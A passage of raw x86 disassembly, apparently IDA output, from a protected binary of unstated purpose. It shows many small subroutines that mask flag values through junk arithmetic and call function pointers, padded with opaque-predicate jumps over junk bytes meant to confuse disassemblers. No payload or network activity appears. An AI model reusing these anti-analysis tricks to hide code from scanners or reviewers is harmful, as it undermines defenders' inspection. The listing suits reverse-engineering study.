jz short loc_49A30F loc_49A314: ; CODE XREF: sub_49A2FF+Cj jmp short loc_49A30F ; --------------------------------------------------------------------------- loc_49A316: ; CODE XREF: sub_49A2FF:loc_49A30Fj mov ebx, 4 and eax, ebx mov ch, 52h dec ch mov ebx, [ebp+arg_4] dec esi dec edi dec edi xor ecx, ecx or ebx, ecx jz short loc_49A338 dec edi sub ch, 2 dec ch and eax, 0 jmp short loc_49A34E ; --------------------------------------------------------------------------- loc_49A338: ; CODE XREF: sub_49A2FF+2Cj dec edi dec ecx sub ch, 2 dec ch dec ch sub ch, 8 and eax, 0 dec ecx sub ch, 2 inc eax dec ch loc_49A34E: ; CODE XREF: sub_49A2FF+37j mov [ebp+var_8], eax mov eax, dword_4ED3B0 xor eax, dword_4ED3B4 shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_49A370 mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_49A370: ; CODE XREF: sub_49A2FF+66j mov edx, [ebp+var_4] push edx call off_4F1D08 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49A2FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49A384 proc near ; DATA XREF: sub_4965D8+11CFo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED414 xor ecx, dword_4ED418 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49A442 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49A442: ; CODE XREF: sub_49A384+B3j mov eax, [ebp+var_8] push eax call off_4F1D6C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49A384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49A456 proc near ; DATA XREF: sub_4965D8+525o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 0BDh sub cl, 2 sub cl, 6 dec cl not cl bswap edx not cl bswap edx dec cl dec cl sub cl, 3 dec cl dec cl dec cl push eax dec cl dec cl sub cl, 4 inc cl inc cl dec cl dec cl sub cl, 11h dec cl and eax, 10h dec cl dec cl dec cl add cl, 0Fh dec cl dec cl and eax, 80h sub cl, 1Fh dec cl dec cl inc cl dec cl dec cl inc cl dec cl not ecx bswap eax not ecx bswap eax pop eax inc cl inc cl inc cl add cl, 2 dec cl and al, cl mov eax, eax pop ecx neg eax sbb eax, eax neg eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3F4 xor ecx, dword_4ED3F8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49A52F mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49A52F: ; CODE XREF: sub_49A456+CEj mov eax, [ebp+var_8] push eax call off_4F1D4C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49A456 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49A543 proc near ; DATA XREF: sub_4965D8+1DFo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DCC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl jo short loc_49A5B6 jl short loc_49A5B4 loc_49A5B1: ; CODE XREF: sub_49A543:loc_49A5B4j ; sub_49A543:loc_49A5B6j jmp short loc_49A5B8 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49A5B4: ; CODE XREF: sub_49A543+6Cj jz short loc_49A5B1 loc_49A5B6: ; CODE XREF: sub_49A543+6Aj jmp short loc_49A5B1 ; --------------------------------------------------------------------------- loc_49A5B8: ; CODE XREF: sub_49A543:loc_49A5B1j dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx pop ebx test eax, eax jnz loc_49A6C7 mov eax, [ebp+var_4] jo short loc_49A5FD jl short loc_49A5FB loc_49A5F8: ; CODE XREF: sub_49A543:loc_49A5FBj ; sub_49A543:loc_49A5FDj jmp short loc_49A5FF ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49A5FB: ; CODE XREF: sub_49A543+B3j jz short loc_49A5F8 loc_49A5FD: ; CODE XREF: sub_49A543+B1j jmp short loc_49A5F8 ; --------------------------------------------------------------------------- loc_49A5FF: ; CODE XREF: sub_49A543:loc_49A5F8j push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 0C6h sub bl, 5 dec bl dec bl dec bl sub bl, 4 sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx sub bl, 5 dec bl push eax dec bl dec bl and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_49A69E jl short loc_49A69C loc_49A699: ; CODE XREF: sub_49A543:loc_49A69Cj ; sub_49A543:loc_49A69Ej jmp short loc_49A6A0 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49A69C: ; CODE XREF: sub_49A543+154j jz short loc_49A699 loc_49A69E: ; CODE XREF: sub_49A543+152j jmp short loc_49A699 ; --------------------------------------------------------------------------- loc_49A6A0: ; CODE XREF: sub_49A543:loc_49A699j inc eax dec eax jo short loc_49A6AB jl short loc_49A6A9 loc_49A6A6: ; CODE XREF: sub_49A543:loc_49A6A9j ; sub_49A543:loc_49A6ABj jmp short loc_49A6AD ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49A6A9: ; CODE XREF: sub_49A543+161j jz short loc_49A6A6 loc_49A6AB: ; CODE XREF: sub_49A543+15Fj jmp short loc_49A6A6 ; --------------------------------------------------------------------------- loc_49A6AD: ; CODE XREF: sub_49A543:loc_49A6A6j inc eax dec eax inc eax dec eax jo short loc_49A6BA jl short loc_49A6B8 loc_49A6B5: ; CODE XREF: sub_49A543:loc_49A6B8j ; sub_49A543:loc_49A6BAj jmp short loc_49A6BC ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49A6B8: ; CODE XREF: sub_49A543+170j jz short loc_49A6B5 loc_49A6BA: ; CODE XREF: sub_49A543+16Ej jmp short loc_49A6B5 ; --------------------------------------------------------------------------- loc_49A6BC: ; CODE XREF: sub_49A543:loc_49A6B5j inc eax pop ecx cmp ecx, eax jnz short loc_49A6C7 and eax, 0 jmp short loc_49A6CB ; --------------------------------------------------------------------------- loc_49A6C7: ; CODE XREF: sub_49A543+A8j ; sub_49A543+17Dj and eax, 0 inc eax loc_49A6CB: ; CODE XREF: sub_49A543+182j mov [ebp+var_C], eax mov ecx, dword_4ED3FC xor ecx, dword_4ED400 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49A6EE mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49A6EE: ; CODE XREF: sub_49A543+1A0j mov eax, [ebp+var_8] push eax call off_4F1D54 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49A543 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49A702 proc near ; DATA XREF: sub_4965D8+745o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 800h jmp short loc_49A72B ; --------------------------------------------------------------------------- mov ebx, 80h loc_49A72B: ; CODE XREF: sub_49A702+22j mov ebx, 71h not ebx bswap eax not ebx inc ebx inc ebx inc ebx add ebx, 7 push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED404 xor ecx, dword_4ED408 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49A775 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49A775: ; CODE XREF: sub_49A702+68j mov eax, [ebp+var_8] push eax call off_4F1D5C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49A702 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49A789 proc near ; DATA XREF: sub_4965D8+86Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_49A7AE jl short loc_49A7AC loc_49A7A9: ; CODE XREF: sub_49A789:loc_49A7ACj ; sub_49A789:loc_49A7AEj jmp short loc_49A7B0 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_49A7AC: ; CODE XREF: sub_49A789+1Ej jz short loc_49A7A9 loc_49A7AE: ; CODE XREF: sub_49A789+1Cj jmp short loc_49A7A9 ; --------------------------------------------------------------------------- loc_49A7B0: ; CODE XREF: sub_49A789:loc_49A7A9j push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 xor bh, 7 and eax, 800h bswap ecx pop eax bswap ecx and ah, bh jo short loc_49A7D4 jl short loc_49A7D2 loc_49A7CF: ; CODE XREF: sub_49A789:loc_49A7D2j ; sub_49A789:loc_49A7D4j jmp short loc_49A7D6 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49A7D2: ; CODE XREF: sub_49A789+44j jz short loc_49A7CF loc_49A7D4: ; CODE XREF: sub_49A789+42j jmp short loc_49A7CF ; --------------------------------------------------------------------------- loc_49A7D6: ; CODE XREF: sub_49A789:loc_49A7CFj mov bl, 0C6h dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax jo short loc_49A80B jl short loc_49A809 loc_49A806: ; CODE XREF: sub_49A789:loc_49A809j ; sub_49A789:loc_49A80Bj jmp short loc_49A80D ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49A809: ; CODE XREF: sub_49A789+7Bj jz short loc_49A806 loc_49A80B: ; CODE XREF: sub_49A789+79j jmp short loc_49A806 ; --------------------------------------------------------------------------- loc_49A80D: ; CODE XREF: sub_49A789:loc_49A806j and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED408 xor ecx, dword_4ED40C shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49A83B mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49A83B: ; CODE XREF: sub_49A789+A7j mov eax, [ebp+var_8] push eax call off_4F1D60 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49A789 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49A84F proc near ; DATA XREF: sub_4965D8+8F4o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 410h pop ebx dec bh dec bh sub bh, 0FFh sub bh, 2 dec bh and ah, bh mov bl, 0Eh sub bl, 4 dec bl sub bl, 1 sub bl, 1 sub bl, 1 sub bl, 1 sub bl, 1 and al, bl pop ebx pop edx test eax, eax jz short loc_49A8AE not eax add eax, 1 stc jmp short loc_49A8B4 ; --------------------------------------------------------------------------- loc_49A8AE: ; CODE XREF: sub_49A84F+55j not eax add eax, 1 clc loc_49A8B4: ; CODE XREF: sub_49A84F+5Dj sbb eax, eax inc eax dec eax jo short loc_49A8C3 jl short loc_49A8C1 loc_49A8BC: ; CODE XREF: sub_49A84F:loc_49A8C1j ; sub_49A84F:loc_49A8C3j jmp short loc_49A8C5 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49A8C1: ; CODE XREF: sub_49A84F+6Bj jz short loc_49A8BC loc_49A8C3: ; CODE XREF: sub_49A84F+69j jmp short loc_49A8BC ; --------------------------------------------------------------------------- loc_49A8C5: ; CODE XREF: sub_49A84F:loc_49A8BCj inc eax dec eax jo short loc_49A8D2 jl short loc_49A8D0 loc_49A8CB: ; CODE XREF: sub_49A84F:loc_49A8D0j ; sub_49A84F:loc_49A8D2j jmp short loc_49A8D4 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49A8D0: ; CODE XREF: sub_49A84F+7Aj jz short loc_49A8CB loc_49A8D2: ; CODE XREF: sub_49A84F+78j jmp short loc_49A8CB ; --------------------------------------------------------------------------- loc_49A8D4: ; CODE XREF: sub_49A84F:loc_49A8CBj inc eax dec eax inc eax dec eax jo short loc_49A8E1 jl short loc_49A8DF loc_49A8DC: ; CODE XREF: sub_49A84F:loc_49A8DFj ; sub_49A84F:loc_49A8E1j jmp short loc_49A8E3 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49A8DF: ; CODE XREF: sub_49A84F+8Bj jz short loc_49A8DC loc_49A8E1: ; CODE XREF: sub_49A84F+89j jmp short loc_49A8DC ; --------------------------------------------------------------------------- loc_49A8E3: ; CODE XREF: sub_49A84F:loc_49A8DCj inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3F4 xor ecx, dword_4ED3F8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49A907 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49A907: ; CODE XREF: sub_49A84F+ADj mov eax, [ebp+var_8] push eax call off_4F1D4C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49A84F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49A91B proc near ; DATA XREF: sub_4965D8+F10o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D94 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 80h jmp short loc_49A944 ; --------------------------------------------------------------------------- mov ebx, 4 loc_49A944: ; CODE XREF: sub_49A91B+22j mov ebx, 30h not ebx bswap eax not ebx inc ebx inc ebx inc ebx inc ebx inc ebx inc ebx inc ebx inc ebx add ebx, 4 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3C4 xor ecx, dword_4ED3C8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49A994 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49A994: ; CODE XREF: sub_49A91B+6Ej mov eax, [ebp+var_8] push eax call off_4F1D1C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49A91B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49A9A8 proc near ; DATA XREF: sub_4965D8+811o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DEC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1E00h pop ebx jo short loc_49A9DE jl short loc_49A9DC loc_49A9D7: ; CODE XREF: sub_49A9A8:loc_49A9DCj ; sub_49A9A8:loc_49A9DEj jmp short loc_49A9E0 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49A9DC: ; CODE XREF: sub_49A9A8+2Dj jz short loc_49A9D7 loc_49A9DE: ; CODE XREF: sub_49A9A8+2Bj jmp short loc_49A9D7 ; --------------------------------------------------------------------------- loc_49A9E0: ; CODE XREF: sub_49A9A8:loc_49A9D7j sub bh, 4 dec bh push eax dec bh dec bh jo short loc_49A9F3 jl short loc_49A9F1 loc_49A9EE: ; CODE XREF: sub_49A9A8:loc_49A9F1j ; sub_49A9A8:loc_49A9F3j jmp short loc_49A9F5 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49A9F1: ; CODE XREF: sub_49A9A8+44j jz short loc_49A9EE loc_49A9F3: ; CODE XREF: sub_49A9A8+42j jmp short loc_49A9EE ; --------------------------------------------------------------------------- loc_49A9F5: ; CODE XREF: sub_49A9A8:loc_49A9EEj and eax, 40h dec bh sub bh, 12h sub bh, 3 pop eax dec bh and ah, bh mov edx, 12h dec dl sub dl, 1 dec dl sub dl, 7 dec dl dec dl dec dl dec dl and al, dl pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED41C xor ecx, dword_4ED420 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49AA49 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49AA49: ; CODE XREF: sub_49A9A8+96j mov eax, [ebp+var_8] push eax call off_4F1D74 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49A9A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49AA5D proc near ; DATA XREF: sub_4965D8+580o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Fh dec ch dec ch dec ch sub ch, 1 sub ch, 15h dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 0BDh sub cl, 2 dec cl inc cl dec cl dec cl dec cl dec cl inc cl dec cl dec cl dec cl dec cl inc cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl dec cl dec cl push eax dec cl dec cl sub cl, 13h dec cl sub cl, 3 dec cl and eax, 41h dec cl dec cl dec cl add cl, 0Dh dec cl and eax, 80h sub cl, 22h not ecx bswap eax not ecx bswap eax pop eax inc cl inc cl inc cl and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED400 xor ecx, dword_4ED404 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49AB47 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49AB47: ; CODE XREF: sub_49AA5D+DFj mov eax, [ebp+var_8] push eax call off_4F1D58 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49AA5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49AB5B proc near ; DATA XREF: sub_4965D8+1037o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 0BDh sub cl, 2 dec cl dec cl dec cl dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl dec cl sub cl, 3 dec cl and eax, 10h dec cl dec cl dec cl add cl, 0Fh dec cl and eax, 80h sub cl, 1Fh dec cl inc cl dec cl dec cl inc cl not ecx bswap eax not ecx bswap eax pop eax inc cl inc cl inc cl and al, cl mov eax, eax pop ecx neg eax sbb eax, eax neg eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3F4 xor ecx, dword_4ED3F8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49AC31 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49AC31: ; CODE XREF: sub_49AB5B+CBj mov eax, [ebp+var_8] push eax call off_4F1D4C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49AB5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49AC45 proc near ; DATA XREF: sub_4965D8+DA5o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 2 dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 87h dec bl dec bl dec bl dec bl dec edi dec edi dec bl dec bl dec bl sub cl, 2 dec bl dec cl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3E4 xor ecx, dword_4ED3E8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49ACE0 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49ACE0: ; CODE XREF: sub_49AC45+90j mov eax, [ebp+var_8] push eax call off_4F1D3C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49AC45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49ACF4 proc near ; DATA XREF: sub_4965D8+3BBo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DEC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 0Ch not ecx bswap eax jo short loc_49AD2A jl short loc_49AD28 loc_49AD23: ; CODE XREF: sub_49ACF4:loc_49AD28j ; sub_49ACF4:loc_49AD2Aj jmp short loc_49AD2C ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49AD28: ; CODE XREF: sub_49ACF4+2Dj jz short loc_49AD23 loc_49AD2A: ; CODE XREF: sub_49ACF4+2Bj jmp short loc_49AD23 ; --------------------------------------------------------------------------- loc_49AD2C: ; CODE XREF: sub_49ACF4:loc_49AD23j not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx not ecx not ecx inc ecx inc ecx dec ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx dec ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax jo short loc_49AD7B jl short loc_49AD79 loc_49AD74: ; CODE XREF: sub_49ACF4:loc_49AD79j ; sub_49ACF4:loc_49AD7Bj jmp short loc_49AD7D ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49AD79: ; CODE XREF: sub_49ACF4+7Ej jz short loc_49AD74 loc_49AD7B: ; CODE XREF: sub_49ACF4+7Cj jmp short loc_49AD74 ; --------------------------------------------------------------------------- loc_49AD7D: ; CODE XREF: sub_49ACF4:loc_49AD74j and eax, ecx pop ecx pop edx test eax, eax jnz loc_49AEA6 mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0AEh sub cl, 2 dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl jo short loc_49ADDE jl short loc_49ADDC loc_49ADD7: ; CODE XREF: sub_49ACF4:loc_49ADDCj ; sub_49ACF4:loc_49ADDEj jmp short loc_49ADE0 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49ADDC: ; CODE XREF: sub_49ACF4+E1j jz short loc_49ADD7 loc_49ADDE: ; CODE XREF: sub_49ACF4+DFj jmp short loc_49ADD7 ; --------------------------------------------------------------------------- loc_49ADE0: ; CODE XREF: sub_49ACF4:loc_49ADD7j dec cl dec cl dec cl dec cl jo short loc_49ADF3 jl short loc_49ADF1 loc_49ADEC: ; CODE XREF: sub_49ACF4:loc_49ADF1j ; sub_49ACF4:loc_49ADF3j jmp short loc_49ADF5 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49ADF1: ; CODE XREF: sub_49ACF4+F6j jz short loc_49ADEC loc_49ADF3: ; CODE XREF: sub_49ACF4+F4j jmp short loc_49ADEC ; --------------------------------------------------------------------------- loc_49ADF5: ; CODE XREF: sub_49ACF4:loc_49ADECj sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 jo short loc_49AE23 jl short loc_49AE21 loc_49AE1C: ; CODE XREF: sub_49ACF4:loc_49AE21j ; sub_49ACF4:loc_49AE23j jmp short loc_49AE25 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49AE21: ; CODE XREF: sub_49ACF4+126j jz short loc_49AE1C loc_49AE23: ; CODE XREF: sub_49ACF4+124j jmp short loc_49AE1C ; --------------------------------------------------------------------------- loc_49AE25: ; CODE XREF: sub_49ACF4:loc_49AE1Cj and al, cl jo short loc_49AE32 jl short loc_49AE30 loc_49AE2B: ; CODE XREF: sub_49ACF4:loc_49AE30j ; sub_49ACF4:loc_49AE32j jmp short loc_49AE34 ; --------------------------------------------------------------------------- db 0E8h, 12h, 26h ; --------------------------------------------------------------------------- loc_49AE30: ; CODE XREF: sub_49ACF4+135j jz short loc_49AE2B loc_49AE32: ; CODE XREF: sub_49ACF4+133j jmp short loc_49AE2B ; --------------------------------------------------------------------------- loc_49AE34: ; CODE XREF: sub_49ACF4:loc_49AE2Bj pop ecx pop ebx neg eax sbb eax, eax inc eax mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_49AE58 jl short loc_49AE56 loc_49AE51: ; CODE XREF: sub_49ACF4:loc_49AE56j ; sub_49ACF4:loc_49AE58j jmp short loc_49AE5A ; 